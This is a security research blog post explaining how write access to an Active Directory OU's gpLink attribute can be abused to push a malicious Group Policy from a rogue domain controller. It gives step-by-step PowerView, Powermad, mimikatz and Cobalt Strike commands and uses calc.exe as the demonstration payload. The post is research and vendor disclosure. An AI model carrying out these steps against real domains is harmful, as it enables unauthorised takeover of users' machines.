OU having a laugh?

By on 6 November, 2019

 6 November, 2019

Overview

tl;dr When we have permission to modify an OU, we can modify its gpLink attribute in order to compromise any computer or user that belongs to that OU or its child OUs.

Before writing SharpGPOAbuse, I wanted to learn about how Group Policy Objects (GPOs) are processed and how all the different GPO components are linked together. While looking for potential attacks, one attribute that stood out immediately was gpLink. GpLink exists in all Active Directory containers such as the Domain object and Organizational Units (OUs) and includes the LDAP path of the GPOs that are linked to the container.

Although a full description of how GPOs work is beyond the purpose of this post, a few basic concepts are summarised below to make it easier for the reader to understand the steps of the attack.

GPOs consist of the following two components:

  • Group Policy Container (GPC) - this is the LDAP part of the GPO and contains its attributes
  • Group Policy Template (GPT) - this is located in Sysvol and contains the actual GPO settings

When a client (user or computer) processes the GPO settings, the following process takes place:

  1. The client retrieves the gpLink attribute of all containers in its directory structure. GpLink contains the LDAP path of the GPOs that must be applied.
  2. The client retrieves a number of attributes associated with each GPO. One of these attributes is gPCFileSysPath which contains the location of the actual GPO settings in Sysvol.
  3. The client establishes an SMB connection to the location pointed by gPCFileSysPath.
  4. The GPO settings are retrieved and applied by the client.

Of course, this is a simplified version of the actual process and only steps relevant to this attack are highlighted. Something worth remembering is that steps 1 and 2 take place over the LDAP protocol (port 389/tcp) and steps 3 and 4 over SMB (port 445/tcp).

What is this all about?

To perform the attack, the following requirements must be met:

  1. We need to have the necessary rights to edit the attributes of an OU.
  2. We must be able to add computer objects in the target domain.
  3. We must be able to add DNS records in the target domain.

The good news is that AD's default configuration allows any domain user to perform steps 2 and 3.

The following video demonstrates the various steps of the process for a successful attack:

So, how can I compromise users and computers?

The easiest way to explain the attack is by using an example. In this example, the target domain name is contoso.com. We have compromised bob.smith who is logged into the WRKSTN02 workstation and has the necessary permissions to modify the Finance OU. The victim user is alice.jones who is a member of the Finance OU:

Bob is also a local administrator on WRKSTN02. Although this is not a (strict) requirement for the attack, it greatly facilitates it and simplifies the example.

Firstly, we need to add a new DNS A record for test.contoso.com that will point to the computer where bob.smith is logged in and we have our beacon (WRKSTN02). We can use Invoke-DNSUpdate from Powermad to do this:

Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 10.1.1.22 -Realm contoso.com

Then, since we can modify the attributes of the Finance OU, we will change its gpLink attribute to point to something like the following:

[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]

To modify the attribute we can use the following PowerView functions:

Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]'}

This means that the client processing this gpLink attribute will initiate an LDAP connection to test.contoso.com and attempt to retrieve the GPO attributes (gPCFileSysPath, versionNumber, etc).

Since the client will initiate an LDAP connection (port 389/tcp) to test.contoso.com (10.1.1.22), we need to intercept the communication. To do this we can use Cobalt Strike's "rportfwd" command to open port 389 on the compromised host and forward it to a server under our control (10.2.2.40) outside the target network:

This server will be a Domain Controller for a dummy domain called test.contoso.com. Of course, there is no relationship between this dummy domain and the target contoso.com domain. Let's call this new computer ATLANTIC$. Since we control ATLANTIC$, we can run mimikatz to get its long machine password in cleartext. (First run the “Reset-ComputerMachinePassword” powershell command, then run sekurlsa::logonpasswords)

Now that we have the machine password for the dummy DC, we can add a new computer object in the original contoso.com domain and configure it with that same password. The new computer object will have the name TEST. We can use Powermad to do this (remember to use some proper escaping for the long password string):

$pass = "cP:Wbp8!Faz-2`$06CXvM\*m`$U)+[a/VBA2>60o8`"Ri1 bIMwxN,j8AWzFENk7)`$R;CSYG1%;UIi``8,]4PY`"G``hc<'k63KroS(^rT9%BeI'V35lMN9YN7Pgh;"
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString $pass -AsPlainText -Force)

We also need to make sure that the following SPNs are registered to the new computer object in order for the Kerberos authentication to work when the client attempts to make an LDAP connection to our dummy test.contoso.com domain (I used a slightly modified version of Powermad to register these SPNs when the object was created).

LDAP/test.contoso.com
LDAP/TEST
HOST/TEST.contoso.com
HOST/TEST

Now, when the client retrieves the value of the modified gpLink attribute, it will ask for a TGS to LDAP/test.contoso.com which will be encrypted with the hash of the password for the ATLANTIC$ computer we provided earlier. Therefore, when our dummy domain controller receives the TGS, it will be able to decrypt it successfully.

So far we managed to force the client to establish an LDAP connection to a rogue DC under our control. Following the GPO update process we discussed in the beginning of this post, the client will now request a number of the GPO's attributes, including gPCFileSysPath. Therefore, we need to create a malicious GPO (we will call it TestGPO) in our dummy test.contoso.com domain, which will contain any settings we want to push to the victims.

Important note: The GUID of the GPO must be included in the LDAP path we placed earlier in the modified gpLink attribute of the Finance OU.

In this example attack, a simple immediate task to execute calc.exe was configured.

Now, the client will connect over SMB to where the gPCFileSysPath attribute points in order to retrieve the GPO settings. This is where our local admin rights on WRKSTN02 are useful. We can use these rights to create a new shared folder called Sysvol and allow members of the Authenticated Users group to read its contents:

This shared folder will host the malicious GPO settings which we can copy from the Sysvol share of our "fake" domain controller for test.contoso.com.

Also, the existing value of the gPCFileSysPath attribute of the TestGPO within the test.contoso.com domain must be replaced with the following:

\\wrkstn02.contoso.com\SysVol\contoso.com\Policies\{980F65E5-95F3-4536-81CF-1A48691F2D67}

When the client retrieves the value of the gPCFileSysPath attribute, they will know that the GPO settings for the TestGPO are located in the Sysvol share of the WRKSTN02 workstation.

The following screenshot shows that at the next GPO refresh cycle, the immediate task executing calculator was created for alice.jones, who is a member of the Finance OU, and our attack was successful:

Essentially, by following the process above we used our rogue DC to host the LDAP part of the malicious GPO (GPC) and we used the compromised workstation to host the actual settings of the malicious GPO in a share called Sysvol (GPT).

The last thing I need to note is that this attack was possible even when hardened UNC paths were configured. Since we are not performing any man-in-the-middle attacks and our kerberos authentication is working as expected this security control cannot be used to prevent this technique. The following screenshot demonstrates the hardened UNC paths that were configured during this attack:

As can be seen in the following capture from Wireshark, the SMB traffic between the victim WRKSTN01 (10.1.1.20) and the compromised WRKSTN02 (10.1.1.22) was encrypted, implying that the hardened UNC paths configuration was enforced:

The attack described in this post was reported to Microsoft and the official response was that this was by design and that they would not perform any further action.